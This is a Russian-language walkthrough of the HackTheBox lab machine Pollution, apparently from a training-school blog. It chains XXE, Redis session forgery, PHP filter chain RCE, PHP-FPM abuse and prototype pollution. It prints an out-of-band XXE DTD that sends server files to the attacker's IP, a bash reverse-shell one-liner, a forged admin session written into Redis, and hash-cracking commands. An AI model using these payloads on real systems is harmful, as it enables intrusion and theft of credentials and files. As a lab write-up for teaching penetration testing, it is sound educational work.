Перейти к содержимому

HTB Pollution прохождение: от XXE в API до root через отравление кэша и Prototype Pollution

HTB Pollution прохождение: от XXE в API до root через отравление кэша и Prototype Pollution
Время чтения: 13 мин.

Пять уязвимостей в четырёх стеках — PHP, XML, Redis, Node.js — выстроены в линейную цепочку на машине HackTheBox Pollution (уровень Hard). Каждая находка бесполезна без предыдущей: XXE даёт только чтение файлов, Redis без пароля из XXE не подключить, а prototype pollution невозможна без доступа к исходникам, который открывается лишь после получения шелла. Это та самая ситуация, когда смотришь на одну уязвимость medium severity и думаешь «ну и что?» — а потом пять таких «ну и что» складываются в root.

Ниже — полное прохождение HTB Pollution: не только «что делать», но и «почему это работает» и «где обычно застревают».

Место в kill chain: пять уязвимостей и контекст применимости

[Применимо: внешний пентест, CTF-лаборатории]

Kill chain — цепочка действий атакующего от первого контакта до полного контроля над системой. На Pollution она состоит из четырёх фаз:

  1. Initial Access — сканирование портов, обнаружение поддоменов, анализ утечки из Burp-истории и получение admin-токена
  2. Foothold — XXE-инъекция в API (XML External Entity injection — атака, при которой XML-парсер подгружает внешние ресурсы, указанные атакующим) для чтения конфигурационных файлов сервера
  3. Lateral Movement — отравление кэша сессий в Redis (подмена данных в хранилище, которому сервер доверяет) для доступа к закрытому поддомену, затем RCE через PHP filter chain injection
  4. Privilege Escalation — эксплуатация PHP-FPM (FastCGI Process Manager — компонент, обрабатывающий PHP-запросы от имени определённого пользователя) для горизонтального перехода, затем prototype pollution в Node.js API для получения root

Каждая из техник встречается при реальном пентесте API уязвимостей. XXE — в корпоративных API, принимающих XML (SOAP-сервисы, импорт документов, парсинг RSS). Манипуляция Redis-сессиями актуальна при внутреннем пентесте, когда Redis доступен без аутентификации или с известным паролем. Prototype pollution — типичная уязвимость Node.js-приложений с устаревшими зависимостями, входящая в ключевые риски по OWASP API Security.

Ограничения в современных средах: XXE заблокирована по умолчанию в libxml2 2.9+ (парсер отключает внешние сущности). Redis в продакшне обычно закрыт файрволом и требует ACL (Access Control List — правила, определяющие кто и какие команды может выполнять). PHP filter chain injection не работает, если приложение использует whitelist-подход к подключаемым файлам. На modern-инфраструктуре с актуальными патчами эта цепочка не повторится, но на legacy-стеке каждый элемент — реальная угроза.

Требования к окружению: Kali Linux 2023+ или Parrot OS, минимум 4 ГБ RAM, VPN-подключение к HackTheBox. Инструменты: nmap, ffuf, redis-tools (пакет содержит redis-cli), feroxbuster, Python 3. В /etc/hosts добавить: 10.10.11.192 collect.htb forum.collect.htb developers.collect.htb.

Разведка и перечисление поддоменов

Запускаем полное сканирование: nmap -p- --min-rate 10000 10.10.11.192. Три открытых порта: SSH (22), HTTP (80) и Redis (6379). Версионный скан nmap -p 22,80,6379 -sCV 10.10.11.192 уточняет: OpenSSH 8.4p1 на Debian 11 Bullseye, Apache 2.4.54, Redis key-value store (хранилище «ключ-значение», часто используемое как кэш и хранилище сессий).

Redis сразу привлекает внимание. Открытый порт Redis на CTF-машине — почти гарантия, что через него нужно будет проходить. Подключаемся: redis-cli -h 10.10.11.192, пробуем keys *. Ответ — (error) NOAUTH Authentication required. Пароль нужен. Запоминаем и двигаемся дальше.

На основном сайте collect.htb — стандартный интерфейс с регистрацией и упоминанием API. После регистрации на /home появляется информация об API. Ничего эксплуатируемого напрямую. feroxbuster -u http://10.10.11.192 --dont-extract-links по директориям тоже не радует: /login, /register, /assets — стандартный набор.

Домен есть — ищем поддомены. Запускаем ffuf (инструмент фаззинга, который перебирает подставные значения в HTTP-запросах):

ffuf -u http://10.10.11.192 -H "Host: FUZZ.collect.htb" -w subdomains-top1million-5000.txt --mc all --ac

FUZZ — место подстановки слов из словаря в заголовок Host. --mc all — принимать все HTTP-коды ответа. --ac — автоматическая калибровка: ffuf сам определяет «стандартный» ответ сервера и фильтрует его, оставляя только аномалии (то есть реально существующие поддомены). Результат: forum.collect.htb (код 200, размер 14098 — живой сайт) и developers.collect.htb (код 401 — требует HTTP Basic Auth). Оба записываем в /etc/hosts.

Форум содержит список пользователей и несколько обсуждений. В теме «I had problems with the Pollution API» пользователь жалуется на нерабочий API и прикладывает файл proxy_history.txt — экспорт истории Burp Suite. Для скачивания нужна регистрация на форуме. Файл — XML с десятью HTTP-запросами, закодированными в Base64.

Точка входа: прокси-история и XXE уязвимость в API

Декодируем запросы из Burp-истории. В терминале: echo "Base64..." | base64 -d, в Burp — Ctrl+Shift+B в модуле Decoder. Среди десяти запросов находим ключевой: POST на /set/role/admin с параметром token=ddac62a28254561001277727cb397baf. Этот запрос меняет роль пользователя на администратора.

Проверяем: регистрируемся на collect.htb, берём свою cookie PHPSESSID из браузера (DevTools → Application → Cookies) и отправляем тот же POST-запрос с найденным токеном через curl или Burp Repeater. Токен не одноразовый — роль меняется на admin. Обновляем страницу — в интерфейсе появляется новый пункт меню для управления API.

С правами администратора открывается эндпоинт регистрации пользователя API. Отправляем запрос через Burp и видим, что данные передаются в формате XML. Железное правило: если сервер принимает XML — всегда проверяй XXE.

Out-of-Band XXE: вытаскиваем файлы с сервера

XXE уязвимость в API позволяет внедрить внешние сущности — ссылки на файлы или URL, которые XML-парсер подгрузит при обработке документа. Если парсер обрабатывает DTD (Document Type Definition — блок в начале XML, описывающий его структуру и допустимые элементы), атакующий может читать файлы сервера или делать SSRF-запросы (Server-Side Request Forgery — когда сервер выполняет запросы к внутренним ресурсам от своего имени).

На Pollution работает out-of-band XXE (OOB — внеполосная эксплуатация): сервер не выводит содержимое сущностей в ответе напрямую. Данные можно вытащить через обращение к нашему HTTP-серверу. Схема из трёх шагов:

  1. В XML-запросе объявляем внешнюю сущность, указывающую на наш DTD-файл
  2. DTD на нашем сервере определяет цепочку: прочитать целевой файл, закодировать в Base64, отправить на наш IP в URL-параметре
  3. Ловим закодированный файл на своём HTTP-сервере и декодируем

Запускаем приём данных: python3 -m http.server 80. Создаём файл evil.dtd на нашей машине:

<!ENTITY % file SYSTEM
  "php://filter/convert.base64-encode/resource=../bootstrap.php">
<!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM
  'http://10.10.14.6/?data=%file;'>">
%eval;
%exfil;

[php://filter](https://www.php.net/manual/ru/wrappers.php.php) — обёртка PHP для чтения файлов с кодированием в Base64. Зачем кодировать: без Base64 спецсимволы в файле (угловые скобки, амперсанды) сломают XML-структуру, и парсер выдаст ошибку вместо данных. В XML-запросе на API-эндпоинт добавляем блок <!DOCTYPE foo [ <!ENTITY % xxe SYSTEM "http://10.10.14.6/evil.dtd"> %xxe; ]> перед корневым элементом. Отправляем — на нашем HTTP-сервере появляется GET-запрос с содержимым bootstrap.php в параметре data.

Декодируем: echo "Base64строка" | base64 -d. В bootstrap.php находим пароль к Redis: COLLECTR3D1SPASS. Меняем первую строку DTD на resource=../../../../../../var/www/developers/.htpasswd и повторяем — получаем хеш пароля для HTTP Basic Auth на developers.collect.htb. Формат хеша $apr1$ — MD5-APR1. Узнаём режим hashcat: hashcat --example | grep '\$apr1\$' -A2 -B2 — тип 1600. Запускаем: hashcat -m 1600 hash.txt rockyou.txt. Пароль найден за секунды.

Зачем XXE на реальном пентесте: через XXE читают .env-файлы с паролями баз данных, конфигурации nginx/apache с путями к приложениям, приватные SSH-ключи, внутренние сервисы через SSRF. На внешнем пентесте XXE в SOAP API или при загрузке XML-документов — один из самых результативных векторов. RCE через XXE напрямую здесь нет, но XXE открывает доступ к данным, которые ведут к RCE по цепочке.

Отравление кэша сессий Redis и прорыв на developers-сайт

Redis на Pollution работает как хранилище PHP-сессий. Каждая сессия — ключ вида PHPREDIS_SESSION:<session_id> со значением в формате сериализации PHP: username|s:4:"user";role|s:5:"admin";auth|s:4:"True";. Обозначение s:4 означает «строка длиной 4 символа» — если длина не совпадёт с реальным содержимым, PHP не сможет десериализовать сессию и она просто не загрузится.

Суть прокси-кэш отравления здесь: если мы можем записать произвольные данные в Redis, то создадим сессию с правами администратора для developers.collect.htb. PHP при каждом запросе читает данные из Redis и доверяет им без дополнительной проверки.

Подключаемся к Redis с найденным паролем: redis-cli -h collect.htb -a COLLECTR3D1SPASS. Командой keys * видим существующие сессии. Заходим на developers.collect.htb через браузер (с паролем из .htpasswd), проходим HTTP Basic Auth и получаем cookie с PHPSESSID. В Redis появляется новый ключ — пока пустой.

Записываем в этот ключ данные администратора:

SET PHPREDIS_SESSION:наш_session_id
  "username|s:4:\"ralf\";role|s:5:\"admin\";auth|s:4:\"True\";"

Обновляем страницу — видим интерфейс авторизованного пользователя. Проверка: команда GET PHPREDIS_SESSION:наш_session_id в redis-cli должна вернуть записанную строку без ошибок.

Почему это работает и где встречается: PHP по умолчанию доверяет содержимому хранилища сессий. Если Redis доступен атакующему — через открытый порт, известный пароль или отсутствие ACL — он подменяет сессию любого пользователя. На внутреннем пентесте Redis часто доступен без аутентификации: requirepass не задан, порт 6379 открыт в локальной сети. Эту атаку стоит проверять на любом проекте, где Redis используется для сессий (Flask + Redis, Laravel + Redis, PHP + phpredis).

RCE через PHP filter chain injection

На developers.collect.htb замечаем URL-параметр page, подгружающий PHP-файлы через функцию include. К имени файла автоматически добавляется расширение .php, поэтому классические LFI-пейлоады (Local File Inclusion — подключение локальных файлов, например ../../etc/passwd) не проходят. Код эндпоинта можно вытащить через ту же XXE: resource=../../../../../../var/www/developers/index.php — и увидеть, что используется именно include с добавлением .php.

Но есть техника PHP filter chain injection. Суть: последовательность PHP-фильтров php://filter/convert.iconv.* позволяет побайтно сгенерировать произвольную строку — включая PHP-код. Инструмент php_filter_chain_generator.py от synacktiv (GitHub, активно поддерживается, последнее обновление — 2024 год) автоматизирует создание цепочки.

Передаём короткую PHP-команду, например <?php system($_GET['cmd']);?>, получаем длинную строку фильтров и подставляем в параметр page. В ответе сервера — вывод команды, переданной через cmd. Это RCE от пользователя www-data.

Нюанс, на котором теряют время: генерируемая цепочка фильтров может превышать лимит длины URL в Apache (по умолчанию около 8190 байт). Если видишь ошибку 414 Request-URI Too Long — укороти PHP-команду до минимума. Подробнее об этом ограничении 0xdf разбирает в секции Beyond Root на своём сайте.

Для reverse shell (обратное подключение — когда целевая машина сама подключается к нашему слушателю) генерируем пейлоад с bash -c 'bash -i >& /dev/tcp/НАША_IP/9001 0>&1', предварительно запустив слушатель: nc -lvnp 9001. Шелл от www-data получен.

Ограничения: техника требует передачи параметра в include() или require() без строгой фильтрации. Не работает: если приложение использует whitelist подключаемых файлов, если перед include стоит проверка file_exists(), если allow_url_include отключён в php.ini (filter chain формально не URL-инклуд, но некоторые конфигурации WAF его блокируют).

Повышение привилегий Linux: от www-data до root

Пост-эксплуатация на Pollution разбита на два перехода: www-data → victor → root. Каждый использует отдельный вектор — оба относятся к типовым privesc Linux техникам, которые встречаются на реальных серверах.

PHP-FPM: горизонтальное перемещение к victor

PHP-FPM обрабатывает PHP-запросы от веб-сервера через протокол FastCGI. На Pollution FPM работает от имени пользователя victor и слушает unix-сокет. Если атакующий может отправить произвольный FastCGI-запрос на этот сокет — код выполнится от имени victor.

Находим сокет: find / -name "*.sock" 2>/dev/null или смотрим конфигурацию FPM в /etc/php/*/fpm/pool.d/ — там указаны пользователь процесса и путь к сокету. Для эксплуатации используем инструмент для отправки FastCGI-запросов (утилиту cgi-fcgi или Python-скрипт, работающий с FastCGI-протоколом). Указываем путь к любому существующему PHP-файлу на сервере и передаём директиву PHP_VALUE с auto_prepend_file, ссылающейся на наш PHP-шелл.

Результат — выполнение команд от victor, доступ к домашней директории и SSH-ключу для стабильного подключения.

[Применимо: внутренний пентест, grey box] PHP-FPM — частый вектор повышения привилегий Linux на серверах, где PHP-воркеры изолированы под отдельным пользователем. Для эксплуатации достаточно доступа к файловой системе (веб-шелл или LFI) и права на запись в FPM-сокет. На серверах с правильно настроенными правами на сокет (доступ только для nginx/apache) эта атака не пройдёт.

Prototype Pollution в Node.js: финальный privesc до root

В домашней директории victor обнаруживается pollution_api — исходный код Node.js API на Express, работающего от root. Анализ кода выявляет prototype pollution. Что это: класс уязвимостей JavaScript, при котором атакующий модифицирует прототип базового объекта (Object.prototype), добавляя произвольные свойства. Все объекты в приложении наследуют эти свойства — и логика работы программы меняется.

Как это выглядит на практике: API принимает JSON и рекурсивно сливает (merge) его с внутренним объектом без фильтрации ключей __proto__ или constructor.prototype. Атакующий отправляет JSON с полезной нагрузкой, которая через прототип внедряет свойство, активирующее выполнение системных команд в шаблонизаторе.

Перед эксплуатацией нужен доступ к admin-эндпоинтам API — проверяем исходный код, находим механизм проверки ролей и модифицируем свой токен (через Redis или напрямую в коде). Затем отправляем специально сконструированный JSON на admin-эндпоинт. На своей машине запускаем слушатель на новом порту — и получаем root-шелл. Машина пройдена.

Контекст: prototype pollution — одна из самых частых уязвимостей в Node.js. Библиотеки lodash.merge, deep-extend, jQuery.extend были подвержены ей в разные годы. При пентесте Node.js-приложения ищи функции merge, extend, assign в исходниках — если входящий JSON проходит через них без фильтрации, уязвимость есть.

Чеклист: делай раз, делай два, делай три

Сжатый план для самостоятельного прохождения. Каждый шаг — одно действие и ожидаемый результат, по которому ты поймёшь, что всё сделал правильно:

  1. Сканированиеnmap -p- --min-rate 10000 10.10.11.192. Результат: порты 22, 80, 6379 open.
  2. Поддоменыffuf с заголовком Host и словарём subdomains. Результат: forum (200) и developers (401).
  3. Форум — зарегистрироваться, скачать proxy_history.txt. Результат: XML-файл с десятью HTTP-запросами в Base64.
  4. Токен — декодировать запросы, найти POST /set/role/admin с токеном. Отправить со своей сессией. Результат: роль admin, новый пункт меню на сайте.
  5. XXE — отправить XML с внешней сущностью на API-эндпоинт, прочитать bootstrap.php и .htpasswd. Результат: пароль Redis + хеш пароля developers.
  6. Redis — подключиться с паролем, записать admin-сессию для developers-сайта. Результат: страница developers загружается с интерфейсом администратора.
  7. RCE — PHP filter chain injection через параметр page. Результат: шелл от www-data (проверить командой id).
  8. victor — эксплуатация PHP-FPM через unix-сокет. Результат: шелл от victor (проверить whoami).
  9. root — prototype pollution в Node.js API. Результат: root-шелл, файл /root/root.txt.

Где обычно застревают: на шаге 5 — HTTP-сервер на атакующей машине не отвечает (проверь VPN-интерфейс tun0, firewall, что слушаешь на правильном IP). На шаге 6 — ошибка в формате сериализации PHP (лишний символ или неправильная длина строки ломает сессию — после SET проверяй результат через GET). На шаге 7 — URL слишком длинный (используй максимально короткую PHP-команду).

Pollution — прохождение HTB Pollution, которое показывает суть мультиступенчатых атак: root через одну уязвимость на Hard-машинах — редкость. Обычно это 3-5 находок, каждая уровня medium severity по отдельности. Частая ошибка у начинающих — зацикливание на одной технике. XXE здесь даёт только чтение файлов, не RCE. Redis — только обход авторизации, не шелл. Пост-эксплуатация после www-data — отдельная дисциплина: нужно понимать архитектуру сервера — какие сервисы от какого пользователя работают, где сокеты, где исходники. Кто привыкает переключаться между векторами — тот решает быстрее и на HTB, и на реальных проектах.

Ещё одно наблюдение, которое подтверждается из раза в раз: знание одного языка или фреймворка для пентеста недостаточно. На Pollution нужно читать PHP, JavaScript (Node.js), XML, конфигурации Apache и Redis. Это не «знать всё на уровне разработчика», а понимать достаточно, чтобы найти точку входа в каждом стеке. Если разбор показался сложным и хочется закрыть базу системно — на IB Basics как раз дают фундамент от сетей и Linux до первых практических задач, после которого такие цепочки читаются без словаря.

Эту тему и смежные навыки разбирают на практике в курсе «Тестирование веб-приложений на проникновение (WAPT)» Codeby Academy.